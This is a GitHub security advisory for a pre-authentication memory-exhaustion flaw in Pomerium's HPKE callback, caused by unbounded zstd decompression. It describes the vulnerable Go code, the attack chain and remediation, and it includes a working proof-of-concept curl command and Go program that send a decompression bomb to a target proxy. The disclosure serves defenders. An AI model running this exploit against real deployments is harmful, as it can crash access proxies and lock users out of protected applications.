GitHub Advisoryadvisory · Go

GHSA-ggw3-5987-rx77 Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback

HIGH Published 2026-07-15 Modified 2026-07-15 Official page ↗
Aliases
CVE-2026-50285
Ecosystem
Go
Packages
github.com/pomerium/pomerium
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1284, CWE-400
Reviewed
2026-07-15

Affected packages

• Go github.com/pomerium/pomerium: >= 0.32.6, < 0.32.8 → fixed in 0.32.8

Description

Summary The HPKE V2 URL decode path in `pkg/hpke/url.go` decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's `/.pomerium/callback` endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process. Severity High (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` • Attack Vector: Network — the `/.pomerium/callback` route on the proxy service is externally reachable. • Attack Complexity: Low — the receiver public key is publicly available at `/.well-known/pomerium/hpke-public-key`; no special conditions apply. • Privileges Required: None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page). • User Interaction: None • Scope: Unchanged — the DoS is confined to the Pomerium proxy process itself. • Confidentiality Impact: None • Integrity Impact: None • Availability Impact: High — repeated attacks can exhaust process memory and crash the proxy. Affected Component • `pkg/hpke/url.go` — `decodeQueryStringV2` (line 171) • `internal/authenticateflow/stateless.go` — `Callback` (line 385–393) • `proxy/handlers.go` — `Callback` (line 105–107), route registered at line 53–54 CWE • CWE-400: Uncontrolled Resource Consumption • CWE-1284: Improper Validation of Specified Quantity in Input Description Unbounded zstd Decompression in `decodeQueryStringV2` `pkg/hpke/url.go` defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (`url.go:166–176`): ```go var zstdDecoder, _ = zstd.NewReader(nil, zstd.WithDecoderLowmem(true), ) func decodeQueryStringV2(raw []byte) (url.Values, error) { bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit if err != nil { return nil, err } return url.ParseQuery(string(bs)) } ``` `WithDecoderLowmem(true)` reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB. By contrast, the codebase applies `LimitReader` when decompressing in `internal/zero/api/download.go:75`: ```go r = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB cap ``` The protection is available but not applied to `decodeQueryStringV2`, confirming this is an inconsistent defense. HPKE Does Not Block the Attack — Sender Validation Is Too Late `DecryptURLValues` for the V2 format (`url.go:107–126`): ```go case IsEncryptedURLV2(encrypted): senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled // ... sealed, err := decode(encrypted.Get(paramQueryV2)) // ... message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt — succeeds // ... decrypted, err = decodeQueryStringV2(message) // zstd decompress — UNBOUNDED ``` `Open` uses `SetupAuth` (HPKE authenticated mode). It only verifies that `sealed` was created with a key pair whose public half is `senderPublicKey`. Because the attacker supplies both `k` (sender public key) and `q` (sealed payload), they choose a consistent key pair themselves. The `Open` call succeeds with their own freshly-generated keys. Sender identity is validated after `DecryptURLValues` returns (`stateless.go:391–397`): ```go senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form) // ... zstd already completed ... err = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attacker ``` The decompression memory spike occurs unconditionally before rejection. Pre-Auth Execution Chain on the Proxy Callback The proxy registers the callback route without any session or signature middleware (`proxy/handlers.go:53–54`): ```go c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter() c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet) ``` For Stateless-flow deployments, `p.Callback` → `authenticateflow.Stateless.Callback` → `hpke.DecryptURLValues` (unbounded decompress) → `validateSenderPublicKey` (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect. Pomerium's HPKE receiver public key is served publicly and without authentication (`internal/controlplane/http.go:82`): ```go root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler( traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey))) ``` The full attack requires no credentials of any kind. Self-hosted (Stateful) deployments are NOT affected. The stateful `Callback` calls `s.VerifySignature(r)` as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything. Proof of Concept ```bash Step 1: Retrieve the receiver public key curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head Step 2: Build and send the decompression bomb (requires Go) ``` ```go package main import ( "encoding/base64" "fmt" "net/http" "net/url" "strings" "github.com/klauspost/compress/zstd" "github.com/pomerium/pomerium/pkg/hpke" ) func main() { // Fetch receiver public key from the target resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key") pubBytes := make([]byte, 32) resp.Body.Read(pubBytes) resp.Body.Close() receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes) // Attacker generates their own sender key pair attackerPriv, _ := hpke.GeneratePrivateKey() // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed plain := "x=" + strings.Repeat("A", 128*1024*1024) enc, _ := zstd.NewWriter(nil) compressed := enc.EncodeAll([]byte(plain), nil) // Seal the bomb with attacker's private key → server's public key sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed) form := url.Values{ "k": {attackerPriv.PublicKey().String()}, "q": {base64.RawURLEncoding.EncodeToString(sealed)}, } // Deliver to the pre-auth callback endpoint target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode() fmt.Printf("Sending bomb to: %s\n", target) http.Get(target) fmt.Println("Done — server allocated ~256 MB per request") } ``` Repeated calls amplify the effect proportionally. The server-side rejection from `validateSenderPublicKey` does not prevent the allocation. Impact • Pre-auth denial of service against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / `authenticate.pomerium.app`). • An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload. • Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment. • No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port. Recommended Remediation Option 1: Cap decompressed output size in `decodeQueryStringV2` (preferred) Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes: ```go const maxDecompressedQuerySize = 1 << 20 …

Related

Alias · CVE (1)

  • CVE-2026-50285 Pomerium is an identity and context-aware access proxy. vulnerability

Weakness · CWE (2)

  • CWE-1284 Improper Validation of Specified Quantity in Input weakness
  • CWE-400 Uncontrolled Resource Consumption weakness

References